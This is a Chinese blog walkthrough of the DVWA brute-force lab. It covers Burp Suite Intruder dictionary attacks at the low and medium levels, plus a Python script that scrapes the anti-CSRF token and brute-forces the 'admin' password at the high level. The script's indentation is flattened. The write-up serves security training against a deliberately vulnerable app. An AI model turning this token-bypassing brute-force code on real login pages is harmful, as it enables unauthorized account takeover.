DVWA笔记之一:brute Force

时间:2022-05-24 21:14:38

1.Low 级别

burpsuite抓包

DVWA笔记之一:brute Force

low级别是使用GET请求进行登录,将其发送到Intruder中,并增加password变量

DVWA笔记之一:brute Force

之后选择字典开始攻击。

DVWA笔记之一:brute Force

暴力破解完成后,查看结果RESULT,根据Content-Length来判断登陆是否成功。

DVWA笔记之一:brute Force

2.MEDIUM级别

有效抵制了sql注入,但是并未有对爆破破解做有抵御措施,因此爆破方法与上述类似,只是这里增加了一个sleep(2)会降低爆破的时间。

3.HIGH级别

此时在登录时就加入了令牌机制,该令牌被放置在提交的表格中,每次提交登录都会先对token进行校验。因此每次都需要先把token爬取到只有在进行登录提交,从而实现暴力破解。

这里就通过爬虫的方式进行暴力破解,首先抓去Token,之后带Token提交参数,得到的response判断其长度,也是根据长度进行判断是否登陆成功。

参考freebuf上的文章,代码如下:

#coding=utf-8
from bs4 import BeautifulSoup
import requests
header={
'Host':'vspiders.iok.la',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Referer': 'http://vspiders.iok.la/dvwa/vulnerabilities/brute/index.php',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.8',
'Cookie': 'security=high; PHPSESSID=nqnhr54k42sd46r0t0uq6u32v4',
'Connection':'close'
}
requrl="http://vspiders.iok.la/dvwa/vulnerabilities/brute/index.php"
dvwa_session = requests.Session()
i=0
def get_token(requrl,header):
req=dvwa_session.get(url=requrl,headers=header,)
the_page=req.content
response=req.status_code
soup=BeautifulSoup(the_page,"lxml")
user_token=soup.form.find_all('input')[3]['value']
return user_token,len(the_page)
user_token,l=get_token(requrl,header) for line in open('rkolin.txt'):
requrl="http://vspiders.iok.la/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
i=i+1
user_token,l=get_token(requrl,header)
print i,'admin',line.strip(),l